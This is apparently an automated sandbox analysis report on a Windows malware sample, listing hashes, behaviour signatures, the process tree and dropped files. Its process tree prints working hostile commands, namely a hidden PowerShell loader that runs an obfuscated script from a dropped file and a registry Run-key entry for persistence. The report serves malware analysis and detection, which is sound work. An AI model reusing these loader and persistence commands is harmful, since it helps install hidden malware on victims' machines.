Analysis

  • max time kernel
    145s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    05-09-2024 12:33

General

  • Target

    153c188cd936975cbc916b08b0b6d3d32d526e3e126f0843877bf3a44389d536.exe

  • Size

    627KB

  • MD5

    342d7b2b1f3bf1be39496effcdd9ffd8

  • SHA1

    c6f94540d29b679e3e57d4e0c8e9b4f356682f43

  • SHA256

    153c188cd936975cbc916b08b0b6d3d32d526e3e126f0843877bf3a44389d536

  • SHA512

    a939ff45f6d4b3c5fa4d0be54cbbc764ccb58b97553334293dc5ae16928def5ebae4816adff294ad0da831fc9b549aba6af4af2bcd2b99225b34a29423efd556

  • SSDEEP

    12288:5rRo7TKXllTf+RbKDhsm1oDlOW5cJphWiJ1kIS+BrA:JC7TKXlFf62DhoDlO+gphZJmIS+hA

Malware Config

Signatures

  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\153c188cd936975cbc916b08b0b6d3d32d526e3e126f0843877bf3a44389d536.exe
    "C:\Users\Admin\AppData\Local\Temp\153c188cd936975cbc916b08b0b6d3d32d526e3e126f0843877bf3a44389d536.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2300
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle minimized " $Tarsernes=Get-Content 'C:\Users\Admin\AppData\Local\Vandskellenes\Tramp\drejebnksvrktjets\Bulmes.Kol32';$Unlaced=$Tarsernes.SubString(6710,3);.$Unlaced($Tarsernes)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1384
      • C:\Program Files (x86)\windows mail\wab.exe
        "C:\Program Files (x86)\windows mail\wab.exe"
        3⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2700
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Brachyprism255" /t REG_EXPAND_SZ /d "%Hydragog% -windowstyle minimized $Irreproductive=(Get-ItemProperty -Path 'HKCU:\Brefrekvensernes\').Orthogonalize;%Hydragog% ($Irreproductive)"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2620
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Brachyprism255" /t REG_EXPAND_SZ /d "%Hydragog% -windowstyle minimized $Irreproductive=(Get-ItemProperty -Path 'HKCU:\Brefrekvensernes\').Orthogonalize;%Hydragog% ($Irreproductive)"
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry key
            PID:836

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Vandskellenes\Tramp\drejebnksvrktjets\Barderede.Sek

    Filesize

    362KB

    MD5

    b3150777f2b9ccbb21078b4d4bb8a0de

    SHA1

    1f1a12a669e39676304b3b6c0973a4ed37a08c63

    SHA256

    1df56a2ce22679859461d6482b3825e5eb76b131ee92a5251db6770305f3c544

    SHA512

    2e77dc5917fece50b1480f18e01a3e76e1378b33fa51b53890bdb2449c1cbf13e02577a84fb232aa5972616f630e0c7f62a698eb6fc1277d1a6182e3eab7b6b1

  • C:\Users\Admin\AppData\Local\Vandskellenes\Tramp\drejebnksvrktjets\Bulmes.Kol32

    Filesize

    52KB

    MD5

    90341d474017dc14627004bc73bbd211

    SHA1

    e3e8c43d0406c96d2e55782c480fa93e85cb3884

    SHA256

    af1a6315e00b71ebf549faf7182f9185ea4bdbcf936afbbc047760ad250ab2a3

    SHA512

    a93a25f68c822e3b9f150908945ed1136762974c8c0b4a6145c9d6bea138e3d67ec89422fe5f91c92355fda59d721d5c277dacaad4434a2b642477e2af1228d8

  • \Users\Admin\AppData\Local\Temp\nseA6CB.tmp\nsDialogs.dll

    Filesize

    9KB

    MD5

    eb2c74e05b30b29887b3219f4ea3fdab

    SHA1

    91173d46b34e7bae57acabdbd239111b5bcc4d9e

    SHA256

    d253ca5aba34b925796777893f114cc741b015af7868022ab1db2341288c55ed

    SHA512

    1bb035260223ec585170f891c2624b9ae98671f225e74b913b40bb77b66e3b9c2016037bc8e4b0ae16367d82590a60a0a3bd95d05139ea2454f02020d1b54dae

  • memory/1384-15-0x0000000074200000-0x00000000747AB000-memory.dmp

    Filesize

    5.7MB

  • memory/1384-14-0x0000000074200000-0x00000000747AB000-memory.dmp

    Filesize

    5.7MB

  • memory/1384-17-0x0000000074200000-0x00000000747AB000-memory.dmp

    Filesize

    5.7MB

  • memory/1384-16-0x0000000074200000-0x00000000747AB000-memory.dmp

    Filesize

    5.7MB

  • memory/1384-20-0x0000000074200000-0x00000000747AB000-memory.dmp

    Filesize

    5.7MB

  • memory/1384-13-0x0000000074201000-0x0000000074202000-memory.dmp

    Filesize

    4KB

  • memory/1384-22-0x0000000074200000-0x00000000747AB000-memory.dmp

    Filesize

    5.7MB

  • memory/1384-23-0x0000000006710000-0x000000000A422000-memory.dmp

    Filesize

    61.1MB

  • memory/1384-24-0x0000000074200000-0x00000000747AB000-memory.dmp

    Filesize

    5.7MB

  • memory/2700-25-0x0000000000690000-0x00000000016F2000-memory.dmp

    Filesize

    16.4MB